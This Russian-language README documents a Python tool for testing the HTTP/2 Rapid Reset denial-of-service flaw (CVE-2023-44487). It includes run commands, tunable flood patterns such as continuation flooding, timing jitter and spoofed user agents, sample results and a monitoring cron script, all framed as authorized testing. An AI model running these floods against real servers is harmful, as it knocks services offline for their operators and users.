
Python-инструмент для тестирования CVE-2023-44487 (HTTP/2 Rapid Reset) с несколькими паттернами атак, детальной настройкой и мониторингом для авторизованных оценок безопасности.
Комплексный инструмент для тестирования на Python для CVE-2023-44487, уязвимости HTTP/2 Rapid Reset. Эта расширенная версия обеспечивает детальный контроль над параметрами тестирования, множественные паттерны атак и расширенные возможности мониторинга.
Этот инструмент предназначен ТОЛЬКО для образовательных целей и авторизованного тестирования!
CVE-2023-44487, также известная как "HTTP/2 Rapid Reset", является критической уязвимостью в протоколе HTTP/2, которая позволяет атакующим:
Оценка CVSS: 7.5 (Высокая)
Воздействие: Отказ в обслуживании, истощение ресурсов
git clone https://github.com/madhusudhan-in/CVE_2023_44487-Rapid_Reset.git
cd CVE_2023_44487-Rapid_Reset
chmod +x rapid_reset_test.py
python3 --version # Должна быть 3.7+
python3 rapid_reset_test.py https://target-server.com
python3 rapid_reset_test.py https://target.com \
--connections 50 \
--requests 1000 \
--delay 0 \
--pattern rapid_reset \
--track-latency \
--output json
python3 rapid_reset_test.py https://target.com \
--pattern burst_reset \
--burst-size 5 \
--burst-delay 2.0 \
--custom-headers "User-Agent: Mozilla/5.0 (legitbot)" "Authorization: Bearer token123" \
--jitter 0.3
python3 rapid_reset_test.py https://target.com \
--window-size 32768 \
--frame-size 32768 \
--header-table-size 8192 \
--enable-push \
--priority-frames \
--randomize-streams
python3 rapid_reset_test.py https://target.com \
--connections 10 \
--requests 200 \
--pattern mixed_pattern \
--track-latency \
--track-responses \
--monitor-memory \
--verbose \
--debug \
--log-file attack.log
python3 rapid_reset_test.py https://target.com \
--pattern continuation_flood \
--requests 50 \
--random-headers \
--header-count 20
| Опция | Описание | По умолчанию |
|---|---|---|
-c, --connections N | Количество одновременных соединений | 1 |
--connection-timeout SEC | Таймаут соединения в секундах | 10 |
--read-timeout SEC | Таймаут чтения ответов | 5 |
--connection-delay SEC | Задержка между соединениями | 0.0 |
| Опция | Описание | По умолчанию |
|---|---|---|
-r, --requests N | Запросов на соединение | 100 |
--delay SEC | Задержка между HEADERS и RST_STREAM | 0.001 |
--request-delay SEC | Задержка между запросами | 0.0 |
--jitter FACTOR | Фактор рандомизации времени | 0.0 |
| Опция | Описание | По умолчанию |
|---|---|---|
--pattern TYPE | Используемый паттерн атаки | rapid_reset |
--burst-size N | Запросов на пакет | 10 |
--burst-delay SEC | Задержка между пакетами | 0.1 |
Доступные паттерны:
rapid_reset - Стандартная атака rapid resetburst_reset - Атаки на основе пакетовgradual_reset - Постепенно увеличивающаяся скоростьrandom_reset - Случайное времяcontinuation_flood - Флуд CONTINUATION кадровmixed_pattern - Смесь паттернов| Опция | Описание | По умолчанию |
|---|---|---|
--window-size BYTES | Начальный размер окна HTTP/2 | 65535 |
--frame-size BYTES | Максимальный размер кадра | 16384 |
--header-table-size BYTES | Размер таблицы заголовков HPACK | 4096 |
--enable-push | Включить server push HTTP/2 | False |
--rst-error-code CODE | Код ошибки RST_STREAM | 8 |
| Опция | Описание | По умолчанию |
|---|---|---|
--custom-headers HEADER | Пользовательские заголовки (Имя: Значение) | None |
--random-headers | Генерация случайных заголовков | False |
--header-count N | Количество случайных заголовков | 5 |
| Опция | Описание | По умолчанию |
|---|---|---|
--randomize-streams | Использовать случайные ID потоков | False |
--priority-frames | Включать информацию о приоритетах | False |
--continue-on-error | Продолжать после ошибок | True |
--max-errors N | Максимальное количество ошибок перед остановкой | 10 |
| Опция | Описание | По умолчанию |
|---|---|---|
--track-latency | Отслеживать задержку запросов | False |
--track-responses | Отслеживать ответы сервера | False |
--monitor-memory | Мониторить использование памяти | False |
| Опция | Описание | По умолчанию |
|---|---|---|
--output FORMAT | Формат вывода | console |
--output-file FILE | Имя выходного файла | auto-generated |
--verbose, -v | Подробный вывод | False |
--debug | Отладочное логирование | False |
--log-file FILE | Логирование в файл | None |
Доступные форматы вывода:
console - Читаемый консольный выводjson - Машиночитаемый JSONcsv - Совместимый с электронными таблицами CSVxml - Структурированный формат XMLИнструмент предоставляет комплексные результаты, включая:
{
"target_url": "https://example.com",
"test_config": {
"attack_pattern": "rapid_reset",
"max_connections": 10,
"requests_per_connection": 100,
"delay_between_headers_rst": 0.001
},
"test_summary": {
"duration": 2.34,
"successful_connections": 10,
"total_successful_attacks": 950,
"success_rate": 95.0,
"requests_per_second": 405.98,
"total_bytes_sent": 125600,
"average_latency": 0.0024
},
"connection_stats": [...],
"errors": [...],
"timestamp": 1640995200.0
}
Инструмент автоматически оценивает уязвимость:
Если ваш сервер оказался уязвимым, внедрите следующие меры защиты:
import subprocess
import json
# Запуск автоматизированного теста
result = subprocess.run([
'python3', 'rapid_reset_test.py',
'https://target.com',
'--pattern', 'mixed_pattern',
'--output', 'json',
'--output-file', 'results.json'
])
# Анализ результатов
with open('results.json') as f:
data = json.load(f)
vulnerability_score = data['test_summary']['success_rate']
if vulnerability_score > 80:
print(f"ВЫСОКИЙ РИСК: {vulnerability_score}% успеха")
#!/bin/bash
# Cron job: 0 2 * * * /path/to/monitor.sh
python3 rapid_reset_test.py https://myserver.com \
--pattern rapid_reset \
--connections 5 \
--requests 50 \
--output json \
--output-file /var/log/rapid-reset-$(date +%Y%m%d).json
# Оповещение при обнаружении уязвимости
if [ $(jq '.test_summary.success_rate' /var/log/rapid-reset-$(date +%Y%m%d).json) -gt 80 ]; then
echo "ВНИМАНИЕ: Сервер уязвим к атаке rapid reset" | mail -s "Оповещение безопасности" [email protected]
fi
import pandas as pd
import matplotlib.pyplot as plt
# Загрузка и анализ CSV результатов
df = pd.read_csv('results.csv')
# Визуализация успеха атаки по соединениям
plt.figure(figsize=(12, 6))
plt.subplot(1, 2, 1)
df.plot(x='connection_id', y='successful_attacks', kind='bar')
plt.title('Успех атаки по соединениям')
plt.subplot(1, 2, 2)
df['success_rate'] = (df['successful_attacks'] / df['total_attacks']) * 100
plt.hist(df['success_rate'], bins=20)
plt.title('Распределение показателей успеха')
plt.show()
Отказ в соединении:
Ошибки SSL/TLS:
--debug для получения подробной информации SSLНизкие показатели успеха:
Проблемы производительности:
--debug и --log-file для анализа--verbose --debug --log-file debug.log--connections 1 --requests 10--track-responses--track-latencyЭтот инструмент предоставляется под лицензией MIT. Подробности см. в файле LICENSE.
Этот инструмент предназначен для специалистов по кибербезопасности, исследователей и системных администраторов для тестирования своих собственных систем или систем, на тестирование которых они имеют явное разрешение. Авторы не несут ответственности за любое неправильное использование этого инструмента.
Ключевые юридические моменты:
Помните: С большой силой приходит большая ответственность. Используйте этот инструмент этично и законно.
Расширенная версия сохраняет обратную совместимость с базовой версией. Все существующие параметры командной строки продолжают работать, а новые опции предоставляют дополнительные возможности.
Для пользователей, обновляющихся с базовой версии:
# Старое базовое использование все еще работает
python3 rapid_reset_test.py https://example.com --connections 5 --requests 100
# Новое расширенное использование с дополнительными опциями
python3 rapid_reset_test.py https://example.com \
--connections 5 --requests 100 \
--pattern burst_reset --track-latency --output json